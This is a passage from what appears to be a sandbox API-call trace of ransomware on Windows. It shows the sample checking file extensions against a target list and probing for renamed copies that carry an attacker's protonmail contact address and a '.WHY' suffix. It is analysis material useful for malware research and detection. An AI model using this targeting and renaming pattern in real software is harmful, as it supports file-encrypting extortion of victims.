(lpString=".zip") returned 4 [0215.827] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.828] lstrlenW (lpString=".rar") returned 4 [0215.828] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.828] lstrlenW (lpString=".bz2") returned 4 [0215.828] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.828] lstrlenW (lpString=".7z") returned 3 [0215.828] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.828] lstrlenW (lpString=".dbf") returned 4 [0215.828] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.828] lstrlenW (lpString=".1cd") returned 4 [0215.828] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.829] lstrlenW (lpString=".jpg") returned 4 [0215.829] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.831] lstrlenW (lpString=".doc") returned 4 [0215.831] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.831] lstrlenW (lpString=".docx") returned 5 [0215.831] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0215.831] lstrlenW (lpString=".pdf") returned 4 [0215.831] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.831] lstrlenW (lpString=".xls") returned 4 [0215.831] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.831] lstrlenW (lpString=".xlsx") returned 5 [0215.832] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0215.832] lstrlenW (lpString=".ppt") returned 4 [0215.832] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.832] lstrlenW (lpString=".zip") returned 4 [0215.832] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.832] lstrlenW (lpString=".rar") returned 4 [0215.832] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.832] lstrlenW (lpString=".bz2") returned 4 [0215.832] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.832] lstrlenW (lpString=".7z") returned 3 [0215.832] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.832] lstrlenW (lpString=".dbf") returned 4 [0215.832] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.834] lstrlenW (lpString=".1cd") returned 4 [0215.834] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.834] lstrlenW (lpString=".jpg") returned 4 [0215.834] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.834] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0215.835] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0215.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0215.836] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3584) returned 1 [0215.836] CloseHandle (hObject=0x2d0) returned 1 [0215.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0215.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.837] lstrlenW (lpString=".doc") returned 4 [0215.837] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0215.837] lstrlenW (lpString=".docx") returned 5 [0215.837] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0215.837] lstrlenW (lpString=".pdf") returned 4 [0215.838] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0215.838] lstrlenW (lpString=".xls") returned 4 [0215.838] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0215.838] lstrlenW (lpString=".xlsx") returned 5 [0215.838] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0215.838] lstrlenW (lpString=".ppt") returned 4 [0215.838] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.839] lstrlenW (lpString=".zip") returned 4 [0215.839] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0215.839] lstrlenW (lpString=".rar") returned 4 [0215.839] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0215.841] lstrlenW (lpString=".bz2") returned 4 [0215.841] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0215.841] lstrlenW (lpString=".7z") returned 3 [0215.841] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0215.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.841] lstrlenW (lpString=".dbf") returned 4 [0215.842] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0215.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.842] lstrlenW (lpString=".1cd") returned 4 [0215.842] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0215.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.842] lstrlenW (lpString=".jpg") returned 4 [0215.842] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0215.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.843] lstrlenW (lpString=".doc") returned 4 [0215.843] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0215.844] lstrlenW (lpString=".docx") returned 5 [0215.844] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0215.844] lstrlenW (lpString=".pdf") returned 4 [0215.844] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0215.844] lstrlenW (lpString=".xls") returned 4 [0215.844] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0215.844] lstrlenW (lpString=".xlsx") returned 5 [0215.844] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0215.844] lstrlenW (lpString=".ppt") returned 4 [0215.844] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0215.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.845] lstrlenW (lpString=".zip") returned 4 [0215.845] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0215.845] lstrlenW (lpString=".rar") returned 4 [0215.845] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0215.845] lstrlenW (lpString=".bz2") returned 4 [0215.845] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0215.845] lstrlenW (lpString=".7z") returned 3 [0215.845] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0215.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.845] lstrlenW (lpString=".dbf") returned 4 [0215.845] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0215.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.846] lstrlenW (lpString=".1cd") returned 4 [0215.846] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0215.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0215.846] lstrlenW (lpString=".jpg") returned 4 [0215.846] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0215.846] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0215.846] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0215.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0215.847] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3584) returned 1 [0215.847] CloseHandle (hObject=0x2d0) returned 1 [0215.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0215.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.848] lstrlenW (lpString=".doc") returned 4 [0215.848] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0215.848] lstrlenW (lpString=".docx") returned 5 [0215.849] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0215.849] lstrlenW (lpString=".pdf") returned 4 [0215.849] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0215.849] lstrlenW (lpString=".xls") returned 4 [0215.849] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0215.849] lstrlenW (lpString=".xlsx") returned 5 [0215.849] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0215.849] lstrlenW (lpString=".ppt") returned 4 [0215.851] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0215.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.851] lstrlenW (lpString=".zip") returned 4 [0215.851] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0215.851] lstrlenW (lpString=".rar") returned 4 [0215.851] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0215.851] lstrlenW (lpString=".bz2") returned 4 [0215.851] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0215.851] lstrlenW (lpString=".7z") returned 3 [0215.851] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0215.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.852] lstrlenW (lpString=".dbf") returned 4 [0215.852] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0215.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.852] lstrlenW (lpString=".1cd") returned 4 [0215.852] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0215.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.852] lstrlenW (lpString=".jpg") returned 4 [0215.853] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0215.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0215.853] lstrlenW (lpString=".doc") returned 4 [0215.853] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0215.854] lstrlenW (lpString=".docx") returned 5 [0215.854] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0215.854] lstrlenW (lpString=".pdf") returned 4 [0215.854] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0215.854] lstrlenW (lpString=".xls") returned 4 [0215.854] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0215.854] lstrlenW (lpString=".xlsx") returned 5 [0217.392] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0217.392] lstrlenW (lpString=".ppt") returned 4 [0217.392] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0217.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0217.392] lstrlenW (lpString=".zip") returned 4 [0217.392] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0217.392] lstrlenW (lpString=".rar") returned 4 [0217.392] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0217.392] lstrlenW (lpString=".bz2") returned 4 [0217.393] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0217.393] lstrlenW (lpString=".7z") returned 3 [0217.393] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0217.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0217.393] lstrlenW (lpString=".dbf") returned 4 [0217.393] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0217.395] lstrlenW (lpString=".1cd") returned 4 [0217.395] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0217.395] lstrlenW (lpString=".jpg") returned 4 [0217.395] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.396] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0217.396] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0217.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0217.397] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3584) returned 1 [0217.397] CloseHandle (hObject=0x30c) returned 1 [0217.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0217.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.398] lstrlenW (lpString=".doc") returned 4 [0217.398] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0217.398] lstrlenW (lpString=".docx") returned 5 [0217.398] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0217.398] lstrlenW (lpString=".pdf") returned 4 [0217.398] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0217.398] lstrlenW (lpString=".xls") returned 4 [0217.398] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0217.398] lstrlenW (lpString=".xlsx") returned 5 [0217.399] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0217.399] lstrlenW (lpString=".ppt") returned 4 [0217.399] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0217.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.399] lstrlenW (lpString=".zip") returned 4 [0217.399] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0217.399] lstrlenW (lpString=".rar") returned 4 [0217.399] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0217.399] lstrlenW (lpString=".bz2") returned 4 [0217.399] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0217.399] lstrlenW (lpString=".7z") returned 3 [0217.399] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0217.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.399] lstrlenW (lpString=".dbf") returned 4 [0217.400] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.400] lstrlenW (lpString=".1cd") returned 4 [0217.400] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.400] lstrlenW (lpString=".jpg") returned 4 [0217.400] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.401] lstrlenW (lpString=".doc") returned 4 [0217.401] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0217.401] lstrlenW (lpString=".docx") returned 5 [0217.401] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0217.401] lstrlenW (lpString=".pdf") returned 4 [0217.401] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0217.401] lstrlenW (lpString=".xls") returned 4 [0217.401] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0217.401] lstrlenW (lpString=".xlsx") returned 5 [0217.401] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0217.401] lstrlenW (lpString=".ppt") returned 4 [0217.401] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0217.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.401] lstrlenW (lpString=".zip") returned 4 [0217.402] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0217.402] lstrlenW (lpString=".rar") returned 4 [0217.402] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0217.402] lstrlenW (lpString=".bz2") returned 4 [0217.402] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0217.402] lstrlenW (lpString=".7z") returned 3 [0217.402] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0217.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.402] lstrlenW (lpString=".dbf") returned 4 [0217.402] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.402] lstrlenW (lpString=".1cd") returned 4 [0217.402] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0217.403] lstrlenW (lpString=".jpg") returned 4 [0217.403] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.404] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0217.405] lstrlenW (lpString="MSCDM.DLL") returned 9 [0217.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0217.406] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=419232) returned 1 [0217.406] CloseHandle (hObject=0x30c) returned 1 [0217.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0217.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0217.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.409] lstrlenW (lpString=".doc") returned 4 [0217.409] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.409] lstrlenW (lpString=".docx") returned 5 [0217.409] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0217.409] lstrlenW (lpString=".pdf") returned 4 [0217.409] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.409] lstrlenW (lpString=".xls") returned 4 [0217.409] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.410] lstrlenW (lpString=".xlsx") returned 5 [0217.410] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0217.410] lstrlenW (lpString=".ppt") returned 4 [0217.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.410] lstrlenW (lpString=".zip") returned 4 [0217.410] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.410] lstrlenW (lpString=".rar") returned 4 [0217.410] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.410] lstrlenW (lpString=".bz2") returned 4 [0217.410] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.410] lstrlenW (lpString=".7z") returned 3 [0217.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.411] lstrlenW (lpString=".dbf") returned 4 [0217.411] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.411] lstrlenW (lpString=".1cd") returned 4 [0217.411] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.411] lstrlenW (lpString=".jpg") returned 4 [0217.411] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.412] lstrlenW (lpString=".doc") returned 4 [0217.412] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.412] lstrlenW (lpString=".docx") returned 5 [0217.412] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0217.412] lstrlenW (lpString=".pdf") returned 4 [0217.412] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.412] lstrlenW (lpString=".xls") returned 4 [0217.412] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.412] lstrlenW (lpString=".xlsx") returned 5 [0217.412] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0217.412] lstrlenW (lpString=".ppt") returned 4 [0217.413] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0217.413] lstrlenW (lpString=".zip") returned 4 [0217.413] lstrcmpiW (lpString1=".zip", 